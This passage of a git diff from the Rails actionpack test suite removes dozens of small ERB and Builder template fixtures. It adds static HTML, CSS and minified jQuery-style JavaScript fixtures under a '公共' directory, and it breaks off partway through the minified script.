+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.html.erb b/actionpack/test/fixtures/test/_changing_priority.html.erb
deleted file mode 100644
index 3225efc49a..0000000000
--- a/actionpack/test/fixtures/test/_changing_priority.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-HTML
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.json.erb b/actionpack/test/fixtures/test/_changing_priority.json.erb
deleted file mode 100644
index 7fa41dce66..0000000000
--- a/actionpack/test/fixtures/test/_changing_priority.json.erb
+++ /dev/null
@@ -1 +0,0 @@
-JSON
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_counter.html.erb b/actionpack/test/fixtures/test/_counter.html.erb
deleted file mode 100644
index fd245bfc70..0000000000
--- a/actionpack/test/fixtures/test/_counter.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= counter_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer.erb b/actionpack/test/fixtures/test/_customer.erb
deleted file mode 100644
index d8220afeda..0000000000
--- a/actionpack/test/fixtures/test/_customer.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_counter.erb b/actionpack/test/fixtures/test/_customer_counter.erb
deleted file mode 100644
index 3435979dba..0000000000
--- a/actionpack/test/fixtures/test/_customer_counter.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_counter_with_as.erb b/actionpack/test/fixtures/test/_customer_counter_with_as.erb
deleted file mode 100644
index 1241eb604d..0000000000
--- a/actionpack/test/fixtures/test/_customer_counter_with_as.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= client.name %><%= client_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_greeting.erb b/actionpack/test/fixtures/test/_customer_greeting.erb
deleted file mode 100644
index 6acbcb20c4..0000000000
--- a/actionpack/test/fixtures/test/_customer_greeting.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_with_var.erb b/actionpack/test/fixtures/test/_customer_with_var.erb
deleted file mode 100644
index 00047dd20e..0000000000
--- a/actionpack/test/fixtures/test/_customer_with_var.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb b/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb
deleted file mode 100644
index 1cc8d41475..0000000000
--- a/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello <%= name %>
diff --git a/actionpack/test/fixtures/test/_first_json_partial.json.erb b/actionpack/test/fixtures/test/_first_json_partial.json.erb
deleted file mode 100644
index 790ee896db..0000000000
--- a/actionpack/test/fixtures/test/_first_json_partial.json.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_form.erb b/actionpack/test/fixtures/test/_form.erb
deleted file mode 100644
index 01107f1cb2..0000000000
--- a/actionpack/test/fixtures/test/_form.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= form.label :title %>
diff --git a/actionpack/test/fixtures/test/_hash_greeting.erb b/actionpack/test/fixtures/test/_hash_greeting.erb
deleted file mode 100644
index fc54a36f2a..0000000000
--- a/actionpack/test/fixtures/test/_hash_greeting.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_hash_object.erb b/actionpack/test/fixtures/test/_hash_object.erb
deleted file mode 100644
index 34a92c6a56..0000000000
--- a/actionpack/test/fixtures/test/_hash_object.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= hash_object[:first_name] %>
-<%= hash_object[:first_name].reverse %>
diff --git a/actionpack/test/fixtures/test/_hello.builder b/actionpack/test/fixtures/test/_hello.builder
deleted file mode 100644
index ef52f632d1..0000000000
--- a/actionpack/test/fixtures/test/_hello.builder
+++ /dev/null
@@ -1 +0,0 @@
-xm.hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_labelling_form.erb b/actionpack/test/fixtures/test/_labelling_form.erb
deleted file mode 100644
index 1b95763165..0000000000
--- a/actionpack/test/fixtures/test/_labelling_form.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= labelling_form.label :title %>
diff --git a/actionpack/test/fixtures/test/_layout_for_partial.html.erb b/actionpack/test/fixtures/test/_layout_for_partial.html.erb
deleted file mode 100644
index 666efadbb6..0000000000
--- a/actionpack/test/fixtures/test/_layout_for_partial.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-Before (<%= name %>)
-<%= yield %>
-After
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
deleted file mode 100644
index 3a03a64e31..0000000000
--- a/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_html_erb.html.erb b/actionpack/test/fixtures/test/_partial_html_erb.html.erb
deleted file mode 100644
index 4b54875782..0000000000
--- a/actionpack/test/fixtures/test/_partial_html_erb.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= "partial.html.erb" %>
diff --git a/actionpack/test/fixtures/test/_partial_name_local_variable.erb b/actionpack/test/fixtures/test/_partial_name_local_variable.erb
deleted file mode 100644
index cc3a91c89f..0000000000
--- a/actionpack/test/fixtures/test/_partial_name_local_variable.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= partial_name_local_variable %>
diff --git a/actionpack/test/fixtures/test/_partial_only.erb b/actionpack/test/fixtures/test/_partial_only.erb
deleted file mode 100644
index a44b3eed40..0000000000
--- a/actionpack/test/fixtures/test/_partial_only.erb
+++ /dev/null
@@ -1 +0,0 @@
-only partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_only_html.html b/actionpack/test/fixtures/test/_partial_only_html.html
deleted file mode 100644
index d2d630bd40..0000000000
--- a/actionpack/test/fixtures/test/_partial_only_html.html
+++ /dev/null
@@ -1 +0,0 @@
-only html partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_with_partial.erb b/actionpack/test/fixtures/test/_partial_with_partial.erb
deleted file mode 100644
index ee0d5037b6..0000000000
--- a/actionpack/test/fixtures/test/_partial_with_partial.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= render 'test/partial' %>
-partial with partial
diff --git a/actionpack/test/fixtures/test/_person.erb b/actionpack/test/fixtures/test/_person.erb
deleted file mode 100644
index b2e5688956..0000000000
--- a/actionpack/test/fixtures/test/_person.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-Second: <%= name %>
-Third: <%= @name %>
diff --git a/actionpack/test/fixtures/test/_raise_indentation.html.erb b/actionpack/test/fixtures/test/_raise_indentation.html.erb
deleted file mode 100644
index f9a93728fe..0000000000
--- a/actionpack/test/fixtures/test/_raise_indentation.html.erb
+++ /dev/null
@@ -1,13 +0,0 @@
-<p>First paragraph</p>
-<p>Second paragraph</p>
-<p>Third paragraph</p>
-<p>Fourth paragraph</p>
-<p>Fifth paragraph</p>
-<p>Sixth paragraph</p>
-<p>Seventh paragraph</p>
-<p>Eight paragraph</p>
-<p>Ninth paragraph</p>
-<p>Tenth paragraph</p>
-<%= raise "error here!" %>
-<p>Eleventh paragraph</p>
-<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_second_json_partial.json.erb b/actionpack/test/fixtures/test/_second_json_partial.json.erb
deleted file mode 100644
index 5ebb7f1afd..0000000000
--- a/actionpack/test/fixtures/test/_second_json_partial.json.erb
+++ /dev/null
@@ -1 +0,0 @@
-Third level
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/action_talk_to_layout.erb b/actionpack/test/fixtures/test/action_talk_to_layout.erb
deleted file mode 100644
index 36e896daa8..0000000000
--- a/actionpack/test/fixtures/test/action_talk_to_layout.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<% @title = "Talking to the layout" -%>
-Action was here!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb b/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
deleted file mode 100644
index ac44bc0d81..0000000000
--- a/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/capturing.erb b/actionpack/test/fixtures/test/capturing.erb
deleted file mode 100644
index 1addaa40d9..0000000000
--- a/actionpack/test/fixtures/test/capturing.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-<% days = capture do %>
-  Dreamy days
-<% end %>
-<%= days %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/change_priority.html.erb b/actionpack/test/fixtures/test/change_priority.html.erb
deleted file mode 100644
index 5618977d05..0000000000
--- a/actionpack/test/fixtures/test/change_priority.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= render :partial => "test/json_change_priority", formats: :json %>
-HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for.erb b/actionpack/test/fixtures/test/content_for.erb
deleted file mode 100644
index 1fb829f54c..0000000000
--- a/actionpack/test/fixtures/test/content_for.erb
+++ /dev/null
@@ -1 +0,0 @@
-<% content_for :title do -%>Putting stuff in the title!<% end -%>Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for_concatenated.erb b/actionpack/test/fixtures/test/content_for_concatenated.erb
deleted file mode 100644
index e65f629574..0000000000
--- a/actionpack/test/fixtures/test/content_for_concatenated.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<% content_for :title, "Putting stuff "
-   content_for :title, "in the title!" -%>
-Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for_with_parameter.erb b/actionpack/test/fixtures/test/content_for_with_parameter.erb
deleted file mode 100644
index aeb6f73ce0..0000000000
--- a/actionpack/test/fixtures/test/content_for_with_parameter.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<% content_for :title, "Putting stuff in the title!" -%>
-Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_html_erb.html.erb b/actionpack/test/fixtures/test/formatted_html_erb.html.erb
deleted file mode 100644
index 1c64efabd8..0000000000
--- a/actionpack/test/fixtures/test/formatted_html_erb.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-formatted html erb
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/greeting.html.erb b/actionpack/test/fixtures/test/greeting.html.erb
deleted file mode 100644
index 62fb0293f0..0000000000
--- a/actionpack/test/fixtures/test/greeting.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>This is grand!</p>
diff --git a/actionpack/test/fixtures/test/greeting.xml.erb b/actionpack/test/fixtures/test/greeting.xml.erb
deleted file mode 100644
index 62fb0293f0..0000000000
--- a/actionpack/test/fixtures/test/greeting.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>This is grand!</p>
diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionpack/test/fixtures/test/hello,world.erb
deleted file mode 100644
index bc8fa5e0ca..0000000000
--- a/actionpack/test/fixtures/test/hello,world.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello w*rld!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello.builder b/actionpack/test/fixtures/test/hello.builder
deleted file mode 100644
index a471553941..0000000000
--- a/actionpack/test/fixtures/test/hello.builder
+++ /dev/null
@@ -1,4 +0,0 @@
-xml.html do
-  xml.p "Hello #{@name}"
-  xml << render(:file => "test/greeting")
-end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_container.builder b/actionpack/test/fixtures/test/hello_world_container.builder
deleted file mode 100644
index e48d75c405..0000000000
--- a/actionpack/test/fixtures/test/hello_world_container.builder
+++ /dev/null
@@ -1,3 +0,0 @@
-xml.test do
-  render :partial => 'hello', :locals => { :xm => xml }
-end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_from_rxml.builder b/actionpack/test/fixtures/test/hello_world_from_rxml.builder
deleted file mode 100644
index 619a97ba96..0000000000
--- a/actionpack/test/fixtures/test/hello_world_from_rxml.builder
+++ /dev/null
@@ -1,3 +0,0 @@
-xml.html do
-  xml.p "Hello"
-end
diff --git a/actionpack/test/fixtures/test/hello_world_with_layout_false.erb b/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
deleted file mode 100644
index 6769dd60bd..0000000000
--- a/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/html_template.html.erb b/actionpack/test/fixtures/test/html_template.html.erb
deleted file mode 100644
index 1bbc2b7f09..0000000000
--- a/actionpack/test/fixtures/test/html_template.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hyphen-ated.erb b/actionpack/test/fixtures/test/hyphen-ated.erb
deleted file mode 100644
index cd0875583a..0000000000
--- a/actionpack/test/fixtures/test/hyphen-ated.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
diff --git a/actionpack/test/fixtures/test/list.erb b/actionpack/test/fixtures/test/list.erb
deleted file mode 100644
index 0a4bda58ee..0000000000
--- a/actionpack/test/fixtures/test/list.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionpack/test/fixtures/test/non_erb_block_content_for.builder b/actionpack/test/fixtures/test/non_erb_block_content_for.builder
deleted file mode 100644
index d539a425a4..0000000000
--- a/actionpack/test/fixtures/test/non_erb_block_content_for.builder
+++ /dev/null
@@ -1,4 +0,0 @@
-content_for :title do
-  'Putting stuff in the title!'
-end
-xml << "Great stuff!"
diff --git a/actionpack/test/fixtures/test/potential_conflicts.erb b/actionpack/test/fixtures/test/potential_conflicts.erb
deleted file mode 100644
index a5e964e359..0000000000
--- a/actionpack/test/fixtures/test/potential_conflicts.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-First: <%= @name %>
-<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
-Fourth: <%= @name %>
-Fifth: <%= name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/proper_block_detection.erb b/actionpack/test/fixtures/test/proper_block_detection.erb
deleted file mode 100644
index b55efbb25d..0000000000
--- a/actionpack/test/fixtures/test/proper_block_detection.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= @todo %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_file_from_template.html.erb b/actionpack/test/fixtures/test/render_file_from_template.html.erb
deleted file mode 100644
index fde9f4bb64..0000000000
--- a/actionpack/test/fixtures/test/render_file_from_template.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :file => @path %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb b/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb
deleted file mode 100644
index 9b4900acc5..0000000000
--- a/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
deleted file mode 100644
index 0740b2d07c..0000000000
--- a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hey HTML!
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
deleted file mode 100644
index 4a11845cfe..0000000000
--- a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello HTML!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb b/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
deleted file mode 100644
index 892ae5eca2..0000000000
--- a/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
+++ /dev/null
@@ -1 +0,0 @@
-alert('hello');
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb b/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb
deleted file mode 100644
index 1461b95186..0000000000
--- a/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionpack/test/fixtures/test/render_to_string_test.erb b/actionpack/test/fixtures/test/render_to_string_test.erb
deleted file mode 100644
index 6e267e8634..0000000000
--- a/actionpack/test/fixtures/test/render_to_string_test.erb
+++ /dev/null
@@ -1 +0,0 @@
-The value of foo is: ::<%= @foo %>::
diff --git a/actionpack/test/fixtures/test/render_two_partials.html.erb b/actionpack/test/fixtures/test/render_two_partials.html.erb
deleted file mode 100644
index 3db6025860..0000000000
--- a/actionpack/test/fixtures/test/render_two_partials.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= render :partial => 'partial', :locals => {'first' => '1'} %>
-<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionpack/test/fixtures/test/using_layout_around_block.html.erb b/actionpack/test/fixtures/test/using_layout_around_block.html.erb
deleted file mode 100644
index 3d6661df9a..0000000000
--- a/actionpack/test/fixtures/test/using_layout_around_block.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/with_html_partial.html.erb b/actionpack/test/fixtures/test/with_html_partial.html.erb
deleted file mode 100644
index d84d909d64..0000000000
--- a/actionpack/test/fixtures/test/with_html_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.html.erb b/actionpack/test/fixtures/test/with_partial.html.erb
deleted file mode 100644
index 7502364cf5..0000000000
--- a/actionpack/test/fixtures/test/with_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.text.erb b/actionpack/test/fixtures/test/with_partial.text.erb
deleted file mode 100644
index 5f068ebf27..0000000000
--- a/actionpack/test/fixtures/test/with_partial.text.erb
+++ /dev/null
@@ -1 +0,0 @@
-**<%= render :partial => "partial_only" %>**
diff --git a/actionpack/test/fixtures/test/with_xml_template.html.erb b/actionpack/test/fixtures/test/with_xml_template.html.erb
deleted file mode 100644
index e54a7cd001..0000000000
--- a/actionpack/test/fixtures/test/with_xml_template.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionpack/test/fixtures/公共/bar.html b/actionpack/test/fixtures/公共/bar.html
new file mode 100644
index 0000000000..67fc57079b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar.html
@@ -0,0 +1 @@
+/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/bar/index.html b/actionpack/test/fixtures/公共/bar/index.html
new file mode 100644
index 0000000000..d5bb8f898d
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar/index.html
@@ -0,0 +1 @@
+/bar/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/bar.html b/actionpack/test/fixtures/公共/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/baz.css b/actionpack/test/fixtures/公共/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/公共/foo/index.html b/actionpack/test/fixtures/公共/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/こんにちは.html b/actionpack/test/fixtures/公共/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
@@ -0,0 +1,4 @@
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t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof 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it.clone(this,e,t)})},html:function(e){return At(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ot,""):void 0;if(!("string"!=typeof e||zt.test(e)||!nt.htmlSerialize&&Rt.test(e)||!nt.leadingWhitespace&&Bt.test(e)||Yt[(It.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Pt,"<$1></$2>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(it.cleanData(g(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=arguments[0];return this.domManip(arguments,function(t){e=this.parentNode,it.cleanData(g(this)),e&&e.replaceChild(t,this)}),e&&(e.length||e.nodeType)?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t){e=J.apply([],e);var n,r,i,o,a,s,l=0,u=this.length,c=this,d=u-1,f=e[0],p=it.isFunction(f);if(p||u>1&&"string"==typeof f&&!nt.checkClone&&Xt.test(f))return this.each(function(n){var r=c.eq(n);p&&(e[0]=f.call(this,n,r.html())),r.domManip(e,t)});if(u&&(s=it.buildFragment(e,this[0].ownerDocument,!1,this),n=s.firstChild,1===s.childNodes.length&&(s=n),n)){for(o=it.map(g(s,"script"),b),i=o.length;u>l;l++)r=s,l!==d&&(r=it.clone(r,!0,!0),i&&it.merge(o,g(r,"script"))),t.call(this[l],r,l);if(i)for(a=o[o.length-1].ownerDocument,it.map(o,x),l=0;i>l;l++)r=o[l],Ut.test(r.type||"")&&!it._data(r,"globalEval")&&it.contains(a,r)&&(r.src?it._evalUrl&&it._evalUrl(r.src):it.globalEval((r.text||r.textContent||r.innerHTML||"").replace(Gt,"")));s=n=null}return this}}),it.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){it.fn[e]=function(e){for(var n,r=0,i=[],o=it(e),a=o.length-1;a>=r;r++)n=r===a?this:this.clone(!0),it(o[r])[t](n),K.apply(i,n.get());return this.pushStack(i)}});var Qt,Zt={};!function(){var e;nt.shrinkWrapBlocks=function(){if(null!=e)return e;e=!1;var t,n,r;return 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t,n,r,i;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),t.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",o=a=!1,l=!0,e.getComputedStyle&&(o="1%"!==(e.getComputedStyle(t,null)||{}).top,a="4px"===(e.getComputedStyle(t,null)||{width:"4px"}).width,i=t.appendChild(ht.createElement("div")),i.style.cssText=t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",t.style.width="1px",l=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),t.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=t.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",s=0===i[0].offsetHeight,s&&(i[0].style.display="",i[1].style.display="none",s=0===i[0].offsetHeight),n.removeChild(r))}var n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
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i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return 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n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input 